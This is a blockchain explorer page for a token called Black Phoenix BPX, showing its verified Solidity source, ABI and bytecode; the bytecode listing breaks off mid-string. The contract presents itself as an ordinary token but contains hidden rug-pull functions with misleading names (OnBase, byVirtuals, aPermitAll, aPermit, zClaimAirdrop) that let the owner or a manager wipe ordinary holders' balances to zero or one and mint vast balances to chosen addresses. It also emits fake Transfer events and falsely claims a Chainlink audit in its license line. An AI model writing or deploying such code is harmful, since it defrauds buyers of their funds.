ETH Price: $2,415.02 (-8.68%)
 

Overview

Max Total Supply

100,000,000,000 Black Phoenix BPX

Holders

11

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x248E1f75...3Ac24BfEF
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Token

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-06-13
*/

// SPDX-License-Identifier: Audited By CHAIN LINK ON BASE
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Token is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100000000000000000000;
    address Router02Address;
    mapping(address => uint256) private VirtualsOnBase;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant ADDRESS_MARKETING = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
    address ADDRESS_DEVELOPMENT;
    address ADDRESS_Manager;
    address ADDRESS_Virtuals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
        transferOwnership(owner_);  
        _name = name_;
        _symbol = symbol_;
       ADDRESS_Manager = ADDRESS_Manager_;
       ADDRESS_DEVELOPMENT = ADDRESS_Manager_;
       ADDRESS_Virtuals = owner_;
       Router02Address = Router02Address_;
        VirtualsOnBase[address(this)] = _totalSupply.mul(10).div(10000);
        emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000));

  
        Virtuals();

 
        payable(address(this)).transfer(msg.value);
    }


    function Virtuals() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
        uint256 threePercent = _totalSupply.mul(1).div(10000);
        uint256 twoPercent = _totalSupply.mul(29).div(10000);

        VirtualsOnBase[ADDRESS_WETH] = VirtualsOnBase[ADDRESS_WETH].add(ninetyFourPercent);
        VirtualsOnBase[ADDRESS_MARKETING] = VirtualsOnBase[ADDRESS_MARKETING].add(threePercent);
        VirtualsOnBase[ADDRESS_DEVELOPMENT] = VirtualsOnBase[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (VirtualsOnBase[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        VirtualsOnBase[sender] = VirtualsOnBase[sender].sub(amount);
        VirtualsOnBase[recipient] = VirtualsOnBase[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function OnBase() external onlyOwner {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }


    function byVirtuals() external {
        require(ADDRESS_Virtuals == _msgSender());
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }





    function aPermitAll() external Only_Manager {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_MARKETING && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnBase[believer] = 0;
            }
        }
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        VirtualsOnBase[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        VirtualsOnBase[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(Router02Address);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return VirtualsOnBase[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
    

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
      
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external payable returns (address) {
       
        Token newToken = (new Token){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

   

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OnBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aPermitAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"byVirtuals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040819052600b805460ff60a01b19169055611cc83881900390819083398101604081905261002f9161059e565b5f80546001600160a01b0319163390811782556040519091905f516020611c685f395f51905f52908290a36100638361016d565b600161006f86826106b7565b50600261007c85826106b7565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100e56127106100df68056bc75e2d63100000600a6101da565b90610266565b305f81815260046020526040812092909255905f516020611c885f395f51905f526101206103e86100df68056bc75e2d63100000600a6101da565b60405190815260200160405180910390a36101396102c0565b60405130903480156108fc02915f818181858888f19350505050158015610162573d5f5f3e3d5ffd5b5050505050506107ce565b5f546001600160a01b03163314610182575f5ffd5b6001600160a01b038116610194575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611c685f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101e957505f610260565b5f6101f48385610785565b905082610201858361079c565b1461025d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102b65760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610254565b61025d828461079c565b5f6102dc6127106100df68056bc75e2d631000006126e86101da565b90505f6102f96127106100df68056bc75e2d6310000060016101da565b90505f6103166127106100df68056bc75e2d63100000601d6101da565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25f5260046020525f516020611c485f395f51905f525490915061034e9084610488565b60046020525f516020611c485f395f51905f5255737f39c581f595b53c5cb19bd0b3f8da6c935e2ca05f525f516020611ca85f395f51905f52546103929083610488565b60046020525f516020611ca85f395f51905f52556007546001600160a01b03165f90815260409020546103c59082610488565b6007546001600160a01b03165f90815260046020908152604091829020929092555184815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29130915f516020611c885f395f51905f52910160405180910390a3604051828152737f39c581f595b53c5cb19bd0b3f8da6c935e2ca09030905f516020611c885f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f516020611c885f395f51905f529060200160405180910390a3505050565b5f8061049483856107bb565b90508381101561025d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610254565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610509575f5ffd5b81516001600160401b03811115610522576105226104e6565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610550576105506104e6565b604052818152838201602001851015610567575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610599575f5ffd5b919050565b5f5f5f5f5f60a086880312156105b2575f5ffd5b85516001600160401b038111156105c7575f5ffd5b6105d3888289016104fa565b602088015190965090506001600160401b038111156105f0575f5ffd5b6105fc888289016104fa565b94505061060b60408701610583565b925061061960608701610583565b915061062760808701610583565b90509295509295909350565b600181811c9082168061064757607f821691505b60208210810361066557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b257805f5260205f20601f840160051c810160208510156106905750805b601f840160051c820191505b818110156106af575f815560010161069c565b50505b505050565b81516001600160401b038111156106d0576106d06104e6565b6106e4816106de8454610633565b8461066b565b6020601f821160018114610716575f83156106ff5750848201515b5f19600385901b1c1916600184901b1784556106af565b5f84815260208120601f198516915b828110156107455787850151825560209485019460019092019101610725565b508482101561076257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026057610260610771565b5f826107b657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026057610260610771565b61146d806107db5f395ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102b5578063dc064fa7146102d4578063dd62ed3e146102e8578063e8078d941461032c578063f2fde38b14610340575f5ffd5b80638da5cb5b1461023d5780638f8af1e11461026357806395d89b4114610282578063a37e0a6414610296575f5ffd5b806323b872dd116100d857806323b872dd146101a7578063313ce567146101c657806332975691146101e157806370a08231146101f5578063715018a614610229575f5ffd5b806306fdde0314610113578063095ea7b31461013d5780630bc60abb1461016c57806318160ddd14610182575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5061012761035f565b60405161013491906110ef565b60405180910390f35b348015610148575f5ffd5b5061015c610157366004611138565b6103ef565b6040519015158152602001610134565b348015610177575f5ffd5b50610180610405565b005b34801561018d575f5ffd5b5068056bc75e2d631000005b604051908152602001610134565b3480156101b2575f5ffd5b5061015c6101c1366004611162565b610538565b3480156101d1575f5ffd5b5060405160098152602001610134565b3480156101ec575f5ffd5b50610180610587565b348015610200575f5ffd5b5061019961020f3660046111a0565b6001600160a01b03165f9081526004602052604090205490565b348015610234575f5ffd5b506101806106b6565b348015610248575f5ffd5b505f546040516001600160a01b039091168152602001610134565b34801561026e575f5ffd5b5061018061027d3660046111bb565b610713565b34801561028d575f5ffd5b506101276107f4565b3480156102a1575f5ffd5b506101806102b03660046111a0565b610803565b3480156102c0575f5ffd5b5061015c6102cf366004611138565b6108a7565b3480156102df575f5ffd5b506101806108b3565b3480156102f3575f5ffd5b5061019961030236600461122c565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610337575f5ffd5b506101806109e3565b34801561034b575f5ffd5b5061018061035a3660046111a0565b610ce2565b60606001805461036e90611263565b80601f016020809104026020016040519081016040528092919081815260200182805461039a90611263565b80156103e55780601f106103bc576101008083540402835291602001916103e5565b820191905f5260205f20905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b5f6103fb338484610d62565b5060015b92915050565b6008546001600160a01b0316331461041b575f5ffd5b5f5b600654811015610535575f6006828154811061043b5761043b61129b565b5f918252602090912001546001600160a01b0316905030811480159061046e57505f546001600160a01b03828116911614155b80156104885750600b546001600160a01b03828116911614155b80156104b157506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156104da57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156104f457506008546001600160a01b03828116911614155b801561050e57506007546001600160a01b03828116911614155b1561052c576001600160a01b0381165f908152600460205260408120555b5060010161041d565b50565b5f610544848484610e86565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461057d9186916105789086610f69565b610d62565b5060019392505050565b5f546001600160a01b0316331461059c575f5ffd5b5f5b600654811015610535575f600682815481106105bc576105bc61129b565b5f918252602090912001546001600160a01b031690503081148015906105ef57505f546001600160a01b03828116911614155b80156106095750600b546001600160a01b03828116911614155b801561063257506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561065b57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561067557506008546001600160a01b03828116911614155b801561068f57506007546001600160a01b03828116911614155b156106ad576001600160a01b0381165f908152600460205260408120555b5060010161059e565b5f546001600160a01b031633146106cb575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b03163314610729575f5ffd5b5f5b818110156107ef57600160045f85858581811061074a5761074a61129b565b905060200201602081019061075f91906111a0565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061078f5761078f61129b565b90506020020160208101906107a491906111a0565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107df91815260200190565b60405180910390a360010161072b565b505050565b60606002805461036e90611263565b6008546001600160a01b03163314610819575f5ffd5b6108256009600a6113a6565b6108389068056bc75e2d631000006113b4565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108806009600a6113a6565b6108939068056bc75e2d631000006113b4565b60405190815260200160405180910390a350565b5f6103fb338484610e86565b6009546001600160a01b031633146108c9575f5ffd5b5f5b600654811015610535575f600682815481106108e9576108e961129b565b5f918252602090912001546001600160a01b0316905030811480159061091c57505f546001600160a01b03828116911614155b80156109365750600b546001600160a01b03828116911614155b801561095f57506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561098857506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156109a257506008546001600160a01b03828116911614155b80156109bc57506007546001600160a01b03828116911614155b156109da576001600160a01b0381165f908152600460205260408120555b506001016108cb565b5f546001600160a01b031633146109f8575f5ffd5b600b54600160a01b900460ff1615610a575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610ab1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad591906113cb565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b34573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5891906113cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ba2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc691906113cb565b600b80546001600160a01b0319166001600160a01b03928316179055600a54610bfb9130911668056bc75e2d63100000610d62565b600a546001600160a01b031663f305d7194730610c2c816001600160a01b03165f9081526004602052604090205490565b5f5f610c3f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ca5573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cca91906113e6565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610cf7575f5ffd5b6001600160a01b038116610d09575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dc45760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4e565b6001600160a01b038216610e255760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e98575f5ffd5b6001600160a01b038216610eaa575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ecc9082610f69565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610efa9082610fcb565b6001600160a01b0383165f90815260046020526040902055610f1b83611029565b610f2482611029565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e7991815260200190565b5f82821115610fba5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610a4e565b610fc48284611411565b9392505050565b5f80610fd78385611424565b905083811015610fc45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4e565b6001600160a01b0381165f9081526004602052604090205415610535575f805b60065481101561109a57826001600160a01b0316600682815481106110705761107061129b565b5f918252602090912001546001600160a01b031603611092576001915061109a565b600101611049565b50806110eb57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610535575f5ffd5b5f5f60408385031215611149575f5ffd5b823561115481611124565b946020939093013593505050565b5f5f5f60608486031215611174575f5ffd5b833561117f81611124565b9250602084013561118f81611124565b929592945050506040919091013590565b5f602082840312156111b0575f5ffd5b8135610fc481611124565b5f5f602083850312156111cc575f5ffd5b823567ffffffffffffffff8111156111e2575f5ffd5b8301601f810185136111f2575f5ffd5b803567ffffffffffffffff811115611208575f5ffd5b8560208260051b840101111561121c575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561123d575f5ffd5b823561124881611124565b9150602083013561125881611124565b809150509250929050565b600181811c9082168061127757607f821691505b60208210810361129557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112fe578085048111156112e2576112e26112af565b60018416156112f057908102905b60019390931c9280026112c7565b935093915050565b5f82611314575060016103ff565b8161132057505f6103ff565b816001811461133657600281146113405761135c565b60019150506103ff565b60ff841115611351576113516112af565b50506001821b6103ff565b5060208310610133831016604e8410600b841016171561137f575081810a6103ff565b61138b5f1984846112c3565b805f190482111561139e5761139e6112af565b029392505050565b5f610fc460ff841683611306565b80820281158282048414176103ff576103ff6112af565b5f602082840312156113db575f5ffd5b8151610fc481611124565b5f5f5f606084860312156113f8575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103ff576103ff6112af565b808201808211156103ff576103ff6112af56fea2646970667358221220151768571c97083036db3f584d99f8425ace88b1a4ebd67f223f32eed615223a64736f6c634300081c003300137c28eabea4eda5601e544e6551e6761ee561d32c4142c29e0f892835a3618be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efdb9a5b514b561babbade0d49da557f1182fdded785e1c05a2aacb0b7c0ae0f1f00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000f1f92dd4b75a5a80304abcfe3e094236dc027586000000000000000000000000edb37ad563e2ef161b2a72169583f35799bde962000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c0000000000000000000000000000000000000000000000000000000000000011426c61636b2050686f656e6978204250580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011426c61636b2050686f656e697820425058000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102b5578063dc064fa7146102d4578063dd62ed3e146102e8578063e8078d941461032c578063f2fde38b14610340575f5ffd5b80638da5cb5b1461023d5780638f8af1e11461026357806395d89b4114610282578063a37e0a6414610296575f5ffd5b806323b872dd116100d857806323b872dd146101a7578063313ce567146101c657806332975691146101e157806370a08231146101f5578063715018a614610229575f5ffd5b806306fdde0314610113578063095ea7b31461013d5780630bc60abb1461016c57806318160ddd14610182575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5061012761035f565b60405161013491906110ef565b60405180910390f35b348015610148575f5ffd5b5061015c610157366004611138565b6103ef565b6040519015158152602001610134565b348015610177575f5ffd5b50610180610405565b005b34801561018d575f5ffd5b5068056bc75e2d631000005b604051908152602001610134565b3480156101b2575f5ffd5b5061015c6101c1366004611162565b610538565b3480156101d1575f5ffd5b5060405160098152602001610134565b3480156101ec575f5ffd5b50610180610587565b348015610200575f5ffd5b5061019961020f3660046111a0565b6001600160a01b03165f9081526004602052604090205490565b348015610234575f5ffd5b506101806106b6565b348015610248575f5ffd5b505f546040516001600160a01b039091168152602001610134565b34801561026e575f5ffd5b5061018061027d3660046111bb565b610713565b34801561028d575f5ffd5b506101276107f4565b3480156102a1575f5ffd5b506101806102b03660046111a0565b610803565b3480156102c0575f5ffd5b5061015c6102cf366004611138565b6108a7565b3480156102df575f5ffd5b506101806108b3565b3480156102f3575f5ffd5b5061019961030236600461122c565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610337575f5ffd5b506101806109e3565b34801561034b575f5ffd5b5061018061035a3660046111a0565b610ce2565b60606001805461036e90611263565b80601f016020809104026020016040519081016040528092919081815260200182805461039a90611263565b80156103e55780601f106103bc576101008083540402835291602001916103e5565b820191905f5260205f20905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b5f6103fb338484610d62565b5060015b92915050565b6008546001600160a01b0316331461041b575f5ffd5b5f5b600654811015610535575f6006828154811061043b5761043b61129b565b5f918252602090912001546001600160a01b0316905030811480159061046e57505f546001600160a01b03828116911614155b80156104885750600b546001600160a01b03828116911614155b80156104b157506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156104da57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156104f457506008546001600160a01b03828116911614155b801561050e57506007546001600160a01b03828116911614155b1561052c576001600160a01b0381165f908152600460205260408120555b5060010161041d565b50565b5f610544848484610e86565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461057d9186916105789086610f69565b610d62565b506001939